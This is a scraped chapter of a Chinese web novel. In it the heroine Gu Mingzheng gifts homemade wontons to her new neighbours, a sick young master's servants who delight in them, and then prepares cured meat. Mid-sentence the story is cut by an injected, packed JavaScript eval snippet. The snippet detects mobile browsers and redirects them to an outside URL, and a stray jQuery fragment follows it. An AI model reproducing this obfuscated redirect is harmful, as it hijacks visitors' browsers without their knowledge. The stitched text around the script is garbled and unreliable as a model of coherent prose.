9.第9章 馄饨

作品:《和离后的躺平日常

    卓春雪也吃得有些撑,正想出去走走。


    顾明筝这么说,她也就笑着应下了,“那奴婢去装馄饨。”


    “嗯。”


    顾明筝跟了过去,包好的馄饨都放在竹簸箕里的,卓春雪拿了个小竹篮过来,顾明筝往里面铺了两块干净的纱布,俩人才把馄饨拾了放在竹篮里。


    竹篮不算大,剩下的馄饨拾进去有大半篮,应该够三五个人吃上一顿。


    顾明筝拎着竹篮,卓春雪回屋拿上伞,俩人锁了门就朝隔壁的大门走去。


    隔壁的徐嬷嬷刚熬好粥,她今日做的是羊肉粥,她泡了点干笋做了个凉拌笋丝,收拾了一下厨房,才喊赵禹他们过来吃饭。


    除了谢砚清,这宅子里加上她才有五个人。


    刚踏出小厨房的门喊了赵禹,就听到了有人敲院门。


    徐嬷嬷只得快步朝院门走去。


    他们搬到这里来后,还是第一次有人来敲门,赵禹也跟了过去。


    顾明筝瞧着开门的老太太,笑着介绍道:“大娘你好,我是隔壁新搬来的,姓顾。”


    徐嬷嬷打量着顾明筝和她身后的卓春雪,她嘴角带着笑,可眼里却满是警惕。


    “娘子是有什么事儿吗?”


    顾明筝道:“日后咱们是邻居,过来认个脸,这是我刚包的荠菜馄饨味道还成,大娘煮了尝个鲜。”


    徐嬷嬷瞧着她手里的小竹篮,看着很干净,这才伸手接了过来。


    “多谢娘子,今日多有不便,改日再请娘子上门喝茶。”


    顾明筝笑笑,“我们刚吃过晚食要出去散散步,这会儿认识了,大娘有空过来玩。”


    徐嬷嬷应了一声,站在门口看着顾明筝她们离开后才关上院门。


    赵禹站在不远处,瞧着徐嬷嬷手中的小竹篮开口问道:“嬷嬷,谁啊?”


    徐嬷嬷道:“隔壁新搬来的娘子,说是姓顾。”


    “顾姓娘子?”赵禹嘀咕了一声,徐嬷嬷冲着她晃了晃手中的小竹篮,“不知是谁家的娘子,送礼竟送自己包的馄饨。”


    赵禹闻了一天的香味了,此时听到馄饨二字嘴里疯狂分泌口水。


    他嘿嘿一笑,“馄饨好啊,左右邻居又无所求的,送点吃食更合适。”


    徐嬷嬷轻叹一声想来也是,要是隔壁送来个贵重的,她还会觉得对方是不是有目的有所求,她揭开竹篮盖子看了一眼,有大半篮子,量不少。


    赵禹也探头看了看,眼露精光。


    “嬷嬷,这么多,咱们今晚煮馄饨吃吧。”


    徐嬷嬷睨了赵禹一眼,她幽幽道:“这是人隔壁娘子送给公子的,你去问问公子吃不吃。”


    “吃的话再喊锦娘过来验一验。”


    赵禹骤然回神,东西进了这宅子不说,入谢砚清口的东西肯定是要验一验的。


    他匆匆而去,谢砚清已经睡着了,他犹豫了半晌才开口:“公子,隔壁的顾娘子送来了馄饨,你吃吗?”


    谢砚清感觉身子很乏,迷迷糊糊间摆了摆手,“你们吃。”


    赵禹点了点头,轻手轻脚的退了出来。


    “嬷嬷,公子说了他不吃。”


    得了话,徐嬷嬷点了点头,想到白日里闻到的香气,她觉得顾明筝的手艺应该很不错,当机立断煮了。


    她们吃,赵禹也没有再去请锦娘来验了。


    徐嬷嬷煮了半锅开水,等水开后下了一半的馄饨。


    这馄饨皮薄馅儿大,赵禹站在旁边想到一会儿一口一大个就痛快。


    都没等徐嬷嬷安排,他主动去拿了碗筷,把吃饭的人喊了过来。


    管马和赶车的刘叔、随时要给谢砚清把脉的锦娘,还有打杂的春红。


    听到赵禹喊吃饭,几人都长吁一口气,只能说又是活着的一天,真希望谢砚清病赶紧好,这样她们离开这里,也能吃上厨娘做的正常饭菜。


    赵禹瞧着她们长吁短叹的样子笑道:“今晚吃馄饨,隔壁娘子送来的。”


    此话一出,几人异口同声道:“这就来!”


    徐嬷嬷清水煮的馄饨,等着馄饨熟了她准备往里面放点盐,还没放赵禹就迫不及待的尝了一个,馅儿里面的肉很细嫩,荠菜的香气也很浓郁,重点是这馅儿里除了肉和菜还有味儿,不知道是放了什么香料,咸的还很香。


    “嬷嬷不用放盐,馅儿是咸的。”


    徐嬷嬷止住了放盐的手,也尝了一个,咸淡味儿正正好,荠菜肉馅和面裹一起,荠菜的清香中和了肉的醇香,荠菜大家常吃,都是做羹汤或者清炒,还是第一次见到有人把荠菜和肉裹一起包馄饨。


    这馄饨馅儿也做得好,香料味不重,还没有任何的肉腥味,调馅儿的人厨艺不一般!


    看着身后几人望眼欲穿的模样,徐嬷嬷亲自给他们盛。


    “我尝着咸淡正好,你们要是觉得淡可以自己放点盐。”


    几人敷衍的应和了一声,接过碗后就开始狼吞虎咽。


    同样是清淡,这馄饨就让她们吃得津津有味,徐嬷嬷自己琢磨出来的清淡粥让她们心生恐惧。


    饭厅内很安静,大家都忙着馄饨。


    徐嬷嬷吃完时感叹道:“吃了这馄饨,我也算是彻底明白自己没有做饭的天赋了,你们近日忍得辛苦吧。”


    几人端着碗看向徐嬷嬷客套道:“没有没有,嬷嬷给我们做饭辛苦了。”


    徐嬷嬷又是一叹,“不服不行,你们吃饱了吧?”


    毕竟平日里的几人饭量都很小,这馄饨一人一浅碗了,比平日的还多。


    她这么想着,只听赵禹问道:“嬷嬷,这馄饨还有吗?我还没饱。”


    锦娘:“嬷嬷,我也还能吃点。”


    马夫和春红也附和的点了点头,徐嬷嬷看着几人的眼神,心中算是彻底明白了,这几人不是饭量小,是觉得不好吃……


    “还有点,那我去煮了。”


    徐嬷嬷把所有馄饨都煮了,几人分一分吃完吃得心满意足!


    看着他们这模样,徐嬷嬷颇为心虚,心想着谢砚清饭量小别也是因为她做的难吃,那可真就罪过了。


    离了徐嬷嬷,锦娘就开始询问赵禹这馄饨哪里来的?


    赵禹如实告知后,锦娘道:“既是邻居,那咱们拎点东西拜访一下,看看能否买点回来煮了吃。”


    赵禹也有此意,但她想到隔壁的可能是顾明筝,他是男子多有不便,回头怂恿锦娘:“隔


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874996|191319||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    壁邻居是女子,你去比较方便。”


    锦娘又不善交际,她咬着唇有些纠结。


    旁边的春红也很想吃,她道:“锦娘子,我可以随你一起去!”


    锦娘看着春红坚定的眼神,春红确实比她话多一些,“等我考虑考虑。”


    赵禹:“锦娘子加油,我们能不能吃上美味的食物就看你了,你去的话我出钱。”


    锦娘无奈的笑了笑,“我争取。”


    顾明筝和卓春雪在周边逛了逛,看着入黄昏俩人才慢悠悠地走回来。


    全然不知道隔壁的几人已经惦记上了她的手艺。


    消食回来卓春雪还惦记着没有收的碗筷,进院后就直奔餐桌而去,顾明筝跟着一起,收拾回厨房后,才烧水洗碗。


    洗碗这事儿卓春雪不让顾明筝做,她内心里觉得自己应该全方位的照顾好顾明筝,结果饭还是顾明筝做了分她吃,心底很是不习惯。


    看着卓春雪坚持,顾明筝道:“我不跟你争了,那以后咱们分工合作,我做饭你收洗。”


    卓春雪想着今晚吃撑的肚子笑着点了点头。


    洗完碗筷后天已经彻底黑了,顾明筝还没有什么困意。


    她们刚才在外面转了转,这周边早上估计没有什么人卖早食,要吃还得自己做。


    今天刚买的荠菜用完了,现在还剩一些韭黄白菜还有萝卜,顾明筝想了想还可以再包点馄饨放着,现在天气冷也不会坏。


    顾明筝说做就做,卓春雪帮忙和面,她做馅儿。


    韭黄鸡蛋馅和萝卜肉馅,都很方便,顾明筝把肉剁出来蛋炒出来,馅儿的味道调好,卓春雪擀面皮她来包,俩人合作很有效率。


    卓春雪面和多了,但顾明筝做的馅儿也多,俩人全部包完整整铺满了三个簸箕。


    卓春雪笑道:“小姐,这估计够我们吃几顿了。”


    顾明筝瞧着这个量也笑了起来。


    “现在冰天雪地的不会坏,慢慢吃。”


    厨房里烧灶火还是有些暖和的,顾明筝给簸箕盖上纱布,又从外面用绳子勒了一圈。


    卓春雪还以为她是为了防灰尘,结果就见顾明筝端着簸箕径自朝凉亭走去。


    “这些要放在外面吗?”


    顾明筝点了点头,“外面冷些,就放在外面不会坏。”


    卓春雪听她的没什么意见。


    回到厨房里,卓春雪看着那一扇猪肉,羊肉倒是吃得快,这猪肉便是煮了吃也很多,她怕放臭了,心想着是不是也放到外面去比较好。


    问了顾明筝,顾明筝笑道:“这个不放了,我一会儿分一下,腌成腊肉耐放一些。”


    “腊肉?”卓春雪满脸疑惑。


    顾明筝道:“就是肉干。”


    卓春雪闻言笑着点了点头。


    顾明筝先把排骨都剔了下来,再把肉平均的分成五条,她只留了一条明日吃,剩下的四条都准备腌上,准备做腊肉。


    她舀了盐兑了香料粉,开始在肉条上仔仔细细地搓。


    搓完的肉条全部放置在盆里盖上,等着明后天有空拎出来熏烤就行。


    忙活了一天,俩人洗漱后坐在炭盆旁烤了会儿火才各自回去睡去。